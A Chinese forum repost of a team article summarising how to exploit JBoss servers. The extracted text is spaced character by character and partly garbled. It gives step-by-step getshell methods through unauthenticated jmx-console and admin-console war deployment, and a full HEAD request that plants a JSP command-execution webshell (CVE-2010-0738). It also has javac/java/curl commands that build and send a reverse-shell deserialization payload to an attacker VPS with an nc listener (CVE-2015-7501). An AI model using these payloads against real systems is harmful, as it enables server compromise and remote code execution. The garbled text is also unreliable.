搜索

[195] 2021-04-04_Jboss漏洞利用总结

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2021-04-04_Jboss漏洞利用总结 J b o s s 漏 洞 利 用 总 结 黑 白 天 安 全 团 队   A d m i n   T e a m   2 0 2 1 - 0 4 - 0 4 J B O S S 简 介 简 介 漏 洞 汇 总 漏 洞 汇 总 访 问 控 制 不 严 导 致 的 漏 洞 访 问 控 制 不 严 导 致 的 漏 洞 J b o s s 管 理 控 制 台 J b o s s 4 . x j b o s s   4 . x   及 其 之 前 的 版 本   c o n s o l e   管 理 路 径 为   / j m x - c o n s o l e /   和   / w e b - c o n s o l e /   。 j m x - c o n s o l e 的 配 置 文 件 为 w e b - c o n s o l e 的 配 置 文 件 为 w e b - c o n s o l e 的 配 置 文 件 为 控 制 台 账 号 密 码 j m x - c o n s o l e   和   w e b - c o n s o l e 共 用 一 个 账 号 密 码   ， 账 号 密 码 文 件 在 J B o s s 是 一 个 基 于 J 2 E E 的 开 放 源 代 码 应 用 服 务 器 ， 代 码 遵 循 L G P L 许 可 ， 可 以 在 任 何 商 业 应 用 中 免 费 使 用 ； J B o s s 也 是 一 个 管 理 E J B 的 容 器 和 服 务 器 ， 支 持 E J B   1 . 1 、 E J B   2 . 0 和 E J B 3 规 范 。 但 J B o s s 核 心 服 务 不 包 括 支 持 s e r v l e t / J S P 的 W E B 容 器 ， 一 般 与 T o m c a t 或 J e t t y 绑 定 使 用 。 在 J 2 E E 应 用 服 务 器 领 域 ， J B o s s 是 发 展 最 为 迅 速 的 应 用 服 务 器 。 由 于 J B o s s 遵 循 商 业 友 好 的 L G P L 授 权 分 发 ， 并 且 由 开 源 社 区 开 发 ， 这 使 得 J B o s s 广 为 流 行 。 / o p t / j b o s s / j b o s s 4 / s e r v e r / d e f a u l t / d e p l o y / j m x - c o n s o l e . w a r / W E B - I N F / j b o s s - w e b . x m l     # j b o s s 的 绝 对 路 径 不 同 网 站 不 一 样 / o p t / j b o s s / j b o s s 4 / s e r v e r / d e f a u l t / d e p l o y / m a n a g e m e n t / c o n s o l e - m g r . s a r / w e b - c o n s o l e . w a r / W E B - I N F / j b o s s - w e b . x m l     # j b o s s 的 绝 对 路 径 不 同 网 站 不 一 样 / o p t / j b o s s / j b o s s 4 / s e r v e r / d e f a u l t / d e p l o y / m a n a g e m e n t / c o n s o l e - m g r . s a r / w e b - c o n s o l e . w a r / W E B - I N F / j b o s s - w e b . x m l     # j b o s s 的 绝 对 / o p t / j b o s s / j b o s s 4 / s e r v e r / d e f a u l t / c o n f / p r o p s / j m x - c o n s o l e - u s e r s . p r o p e r t i e s
J M X   C o n s o l e 未 授 权 访 问 未 授 权 访 问 G e t s h e l l 漏 洞 描 述 漏 洞 描 述 此 漏 洞 主 要 是 由 于 J B o s s 中 / j m x - c o n s o l e / H t m l A d a p t o r 路 径 对 外 开 放 ， 并 且 没 有 任 何 身 份 验 证 机 制 ， 导 致 攻 击 者 可 以 进 到 j m x 控 制 台 ， 并 在 其 中 执 任 何 功 能 。 影 响 版 本 影 响 版 本 J b o s s 4 . x 以 下 漏 洞 利 漏 洞 利 J b o x x 4 . x   / j m x - c o n s o l e /   后 台 存 在 未 授 权 访 问 ， 进 入 后 台 后 ， 可 直 接 部 署   w a r   包 G e t s h e l l 。 若 需 登 录 ， 可 以 尝 试 爆 破 弱 口 令 登 录 。 然 后 找 到 j b o s s . d e p l o y m e n t （ j b o s s   自 带 的 部 署 功 能 ） 中 的 f l a v o r = U R L , t y p e = D e p l o y m e n t S c a n n e r 点 进 去 （ 通 过   u r l   的 方 式 远 程 部 署 ） 也 可 以 直 接 输 入 U R L 进 入 找 到 页 面 中 的 v o i d   a d d U R L ( ) 选 项 来 远 程 加 载 w a r 包 来 部 署 。 h t t p : / / x x . x x . x x . x x : 8 0 8 0 / j m x - c o n s o l e / H t m l A d a p t o r ? a c t i o n = i n s p e c t M B e a n & n a m e = j b o s s . d e p l o y m e n t : t y p e = D e p l o y m e n t S c a n n e r , f l a v o r = U R L
查 看 部 署 是 否 成 功 返 回 到 刚 进 入 j m x - c o n s o l e 的 页 面 ， 找 到   j b o s s . w e b . d e p l o y m e n t ， 如 下 说 明 部 署 成 功 。 如 果 没 显 示 ， 多 刷 新 几 次 页 面 或 者 等 会 儿 ， 直 到 看 到 有 部 署 的 w a r 包 即 可 访 问 我 们 的 木 马
J M X   C o n s o l e   H t m l A d a p t o r   G e t s h e l l （ （ C V E - 2 0 0 7 - 1 0 3 6 ） ） 漏 洞 描 述 漏 洞 描 述 影 响 版 本 影 响 版 本 J b o s s 4 . x 以 下 漏 洞 利 用 漏 洞 利 用 输 u r l h t t p : / / 目 标 I P : 8 0 8 0 / j m x - c o n s o l e / H t m l A d a p t o r ? a c t i o n = i n s p e c t M B e a n & n a m e = j b o s s . a d m i n : s e r v i c e = D e p l o y m e n t F i l e R e p o s i t o r y 定 位 到 s t o r e 法 通 常 像 上 面 这 样 部 署 的 w e b s h e l l , 物 理 路 径 默 认 都 会 在 以 下 目 录 下   j b o s s - 4 . 2 . 3 . G A s e r v e r d e f a u l t t m p d e p l o y x x x . w a r 而 这 个 目 录 最 多 用 作 临 时 维 持 下 权 限 , 所 以 可 以 把 s h e l l 传 到 j m x - c o n s o l e 的 默 认 目 录 来 巩 固 权 限 j b o s s - 4 . 2 . 3 . G A s e r v e r d e f a u l t d e p l o y j m x - c o n s o l e . w a r 此 漏 洞 主 要 是 由 于 J B o s s 中 / j m x - c o n s o l e / H t m l A d a p t o r 路 径 对 外 开 放 ， 并 且 没 有 任 何 身 份 验 证 机 制 ， 导 致 攻 击 者 可 以 进 到 j m x 控 制 台 ， 并 在 其 中 执 任 何 功 能 。 该 漏 洞 利 的 是 后 台 中 j b o s s . a d m i n   - >   D e p l o y m e n t F i l e R e p o s i t o r y   - >   s t o r e ( ) 法 ， 通 过 向 四 个 参 数 传 信 息 ， 达 到 上 传 s h e l l 的 的 ， 其 中 a r g 0 传 的 是 部 署 的 w a r 包 名 字 ， a r g 1 传 的 是 上 传 的 件 的 件 名 ， a r g 2 传 的 是 上 传 件 的 件 格 式 ， a r g 3 传 的 是 上 传 件 中 的 内 容 。 通 过 控 制 这 四 个 参 数 即 可 上 传 s h e l l ， 控 制 整 台 服 务 器 。 通 过 向 四 个 参 数 传 入 信 息 ， 达 到 上 传 s h e l l 的 目 ， a r g 1 传 入 的 是 部 署 的 w a r 包 名 字 a r g 2 传 入 的 是 上 传 的 文 件 的 文 件 名 a r g 3 传 入 的 是 上 传 文 件 的 文 件 格 式 a r g 4 传 入 的 是 上 传 文 件 中 的 内 容 通 过 控 制 这 四 个 参 数 即 可 上 传 s h e l l ， 控 制 整 台 服 务 器 。
后 面 的 C V E - 2 0 1 0 - 0 7 3 8 和 C V E - 2 0 0 6 - 5 7 5 0 漏 洞 也 存 在 这 一 特 性 。 J M X 控 制 台 安 全 验 证 绕 过 漏 洞 （ 控 制 台 安 全 验 证 绕 过 漏 洞 （ C V E - 2 0 1 0 - 0 7 3 8 ） ） 漏 洞 描 述 漏 洞 描 述 该 漏 洞 利 法 跟 C V E - 2 0 0 7 - 1 0 3 6 样 ， 只 是 绕 过 了 g e t 和 p o s t 传 输 限 制 ， 利 h e a d 传 输 式 发 送 p a y l o a d 影 响 版 本 影 响 版 本 j b o s s 4 . 2 . 0 、 j b o s s   4 . 3 . 0 漏 洞 利 漏 洞 利 利 h e a d 传 输 式 ， p a y l o a d 如 下 ：
C V E - 2 0 0 6 - 5 7 5 0 J b o s s 5 . x / 6 . x 控 制 台 控 制 台 J b o s s 5 . x 开 始 弃 用 了   w e b - c o n s o l e   ， 增 加 了   a d m i n - c o n s o l e 。 j b o s s 5 . x   /   6 . x   版 本   c o n s o l e   路 径 为   / j m x - c o n s o l e /   和   / a d m i n - c o n s o l e / 。 j m x - c o n s o l e 的 配 置 文 件 为 a d m i n - c o n s o l e 的 配 置 文 件 为 控 制 台 账 号 密 码 j m x - c o n s o l e   和   w e b - c o n s o l e   共 用 一 个 账 号 密 码   ， 账 号 密 码 文 件 在 J b o s s   5 . x / 6 . x   a d m i n - C o n s o l e 后 台 部 署 后 台 部 署 w a r 包 包 G e t s h e l l J b o s s 5 . X 开 始 ， j m x - c o n s o l e 不 能 部 署 w a r 包 了 ， 需 要 a d m i n - c o n s o l e 后 台 部 署 登 录 进 a d m i n - c o n s o l e 后 台 后 ， 点 击 W e b   A p p l i c a t i o n ( W A R ) s   ， 然 后 A d d   a   n e w   r e s o u r c e H E A D   / j m x - c o n s o l e / H t m l A d a p t o r ? a c t i o n = i n v o k e O p & n a m e = j b o s s . a d m i n : s e r v i c e = D e p l o y m e n t F i l e R e p o s i t o r y & m e t h o d I n d e x = 6 & a r g 0 = . . / j m x - c o n s o l e . w a r / & a r g 1 = h a x 0 r w i n & a r g 2 = . j s p & a r g 3 = < % R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " i " ) ) ; % > & a r g 4 = T r u e H T T P / 1 . 1 H o s t :   h o s t x : p o r t x U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s ;   U ;   W i n d o w s   N T   5 . 1 ;   e n - U S ;   r v : 1 . 9 . 1 . 9 ) G e c k o / 2 0 1 0 0 3 1 5   F i r e f o x / 3 . 5 . 9   ( . N E T   C L R   3 . 5 . 3 0 7 2 9 ) A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - u s , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p , d e f l a t e A c c e p t - C h a r s e t :   I S O - 8 8 5 9 - 1 , u t f - 8 ; q = 0 . 7 , * ; q = 0 . 7 K e e p - A l i v e :   3 0 0 P r o x y - C o n n e c t i o n :   k e e p - a l i v e 此 漏 洞 利 用 原 理 和 C V E - 2 0 0 7 - 1 0 3 6 漏 洞 相 同 ， 唯 一 的 区 别 是 C V E - 2 0 0 6 - 5 7 5 0 漏 洞 利 用 m e t h o d I n d e x 进 行 s t o r e ( ) 方 法 的 调 用 。 其 中 m e t h o d I n d e x 是 通 过 方 法 的 编 号 进 行 调 用 。 j b o s s / c o m m o n / d e p l o y / j m x - c o n s o l e . w a r / W E B - I N F / j b o s s - w e b . x m l     # j b o s s 的 绝 对 路 径 不 同 网 站 不 一 样 j b o s s / c o m m o n / d e p l o y / a d m i n - c o n s o l e . w a r / W E B - I N F / j b o s s - w e b . x m l       # j b o s s 的 绝 对 路 径 不 同 网 站 不 一 样 j b o s s / s e r v e r / d e f a u l t / c o n f / p r o p s / j m x - c o n s o l e - u s e r s . p r o p e r t i e s
这 里 选 择 我 们 本 地 生 成 好 的 w a r 包
访 问 木 马 成 功 J B o s s   J M X I n v o k e r S e r v l e t   反 序 列 化 漏 洞 反 序 列 化 漏 洞 ( C V E - 2 0 1 5 - 7 5 0 1 ) 影 响 版 本 影 响 版 本 实 际 上 主 要 集 中 在   j b o s s   6 . x   版 本 上 : 漏 洞 探 测 漏 洞 探 测 此 漏 洞 存 在 于 J B o s s 中   / i n v o k e r / J M X I n v o k e r S e r v l e t   路 径 。 访 问 若 提 示 下 载   J M X I n v o k e r S e r v l e t ， 则 可 能 存 在 漏 洞 。 我 们 先 启 动 靶 机 环 境 ， 访 问 ： h t t p : / / y o u r i p : 8 0 8 0 / 这 是 经 典 的   J B o s s   反 序 列 化 漏 洞 ， J B o s s 在   / i n v o k e r / J M X I n v o k e r S e r v l e t   请 求 中 读 取 了 用 户 传 入 的 对 象 ， 然 后 我 们 可 以 利 用   A p a c h e   C o m m o n s   C o l l e c t i o n s   中 的   G a d g e t   执 行 任 意 代 码 。 由 于 J B o s s 中 i n v o k e r / J M X I n v o k e r S e r v l e t 路 径 对 外 开 放 ， J B o s s 的 j m x 组 件 持 J a v a 反 序 列 化   A p a c h e   G r o u p   C o m m o n s   C o l l e c t i o n s   4 . 0     A p a c h e   G r o u p   C o m m o n s   C o l l e c t i o n s   3 . 2 . 1     A p a c h e   G r o u p   C o m m o n s   C o l l e c t i o n s
下 面 使 用 J a v a D e s e r H 2 H C   生 成 反 弹   s h e l l   的   p a y l o a d 进 行 文 件 编 译 生 成 载 荷 的 序 列 化 文 件 x x . s e r ( 反 弹 s h e l l 到 我 们 的 v p s ) 利 用 c u r l 提 交 我 们 的 s e r 文 件 v p s 使 用 n c 监 听 端 口 成 功 反 弹   j a v a c   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . j a v a   j a v a   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p   公 网 v p s 的 i p : 端 口 号   c u r l   h t t p : / / 目 标 I P : 8 0 8 0 / i n v o k e r / J M X I n v o k e r S e r v l e t   - - d a t a - b i n a r y   @ R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r
J B o s s   E J B I n v o k e r S e r v l e t   C V E - 2 0 1 3 - 4 8 1 0   反 序 列 化 漏 洞 反 序 列 化 漏 洞 影 响 版 本 影 响 版 本 实 际 上 主 要 集 中 在   j b o s s   6 . x   版 本 上 : 漏 洞 利 用 漏 洞 利 用 跟 C V E - 2 0 1 5 - 7 5 0 1 利 法 样 ， 只 是 路 径 不 样 ， 这 个 漏 洞 利 路 径 是   / i n v o k e r / E J B I n v o k e r S e r v l e t J B O S S M Q   J M S   C V E - 2 0 1 7 - 7 5 0 4   集 群 反 序 列 化 漏 洞 集 群 反 序 列 化 漏 洞   4 . X 漏 洞 描 述 漏 洞 描 述 J B o s s   A S   4 . x 及 之 前 版 本 中 ， J b o s s M Q 实 现 过 程 的 J M S   o v e r   H T T P   I n v o c a t i o n   L a y e r 的 H T T P S e r v e r I L S e r v l e t . j a v a 件 存 在 反 序 列 化 漏 洞 ， 远 程 攻 击 者 可 借 助 特 制 的 序 列 化 数 据 利 该 漏 洞 执 任 意 代 码 。 影 响 版 本 影 响 版 本 J B o s s   A S   4 . x 及 之 前 版 本 漏 洞 利 用 漏 洞 利 用 1 、 首 先 验 证 目 标 j b o s s 是 否 存 在 此 漏 洞 , 直 接 访 问 / j b o s s m q - h t t p i l / H T T P S e r v e r I L S e r v l e t   路 径 下 。 若 访 问 2 0 0 ， 则 可 能 存 在 漏 洞 。 此 漏 洞 和 C V E - 2 0 1 5 - 7 5 0 1 漏 洞 原 理 相 同 ， 两 者 的 区 别 就 在 于 两 个 漏 洞 选 择 的 进 行 其 中 J M X I n v o k e r S e r v l e t 和 E J B I n v o k e r S e r v l e t 利 用 的 是 o r g . j b o s s . i n v o c a t i o n . M a r s h a l l e d V a l u e 进 行 的 反 序 列 化 操 作 ， 而 w e b - c o n s o l e / I n v o k e r 利 用 的 是 o r g . j b o s s . c o n s o l e . r e m o t e . R e m o t e M B e a n I n v o c a t i o n 进 行 反 序 列 化 并 上 传 构 造 的 文 件 。   A p a c h e   G r o u p   C o m m o n s   C o l l e c t i o n s   4 . 0     A p a c h e   G r o u p   C o m m o n s   C o l l e c t i o n s   3 . 2 . 1     A p a c h e   G r o u p   C o m m o n s   C o l l e c t i o n s
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理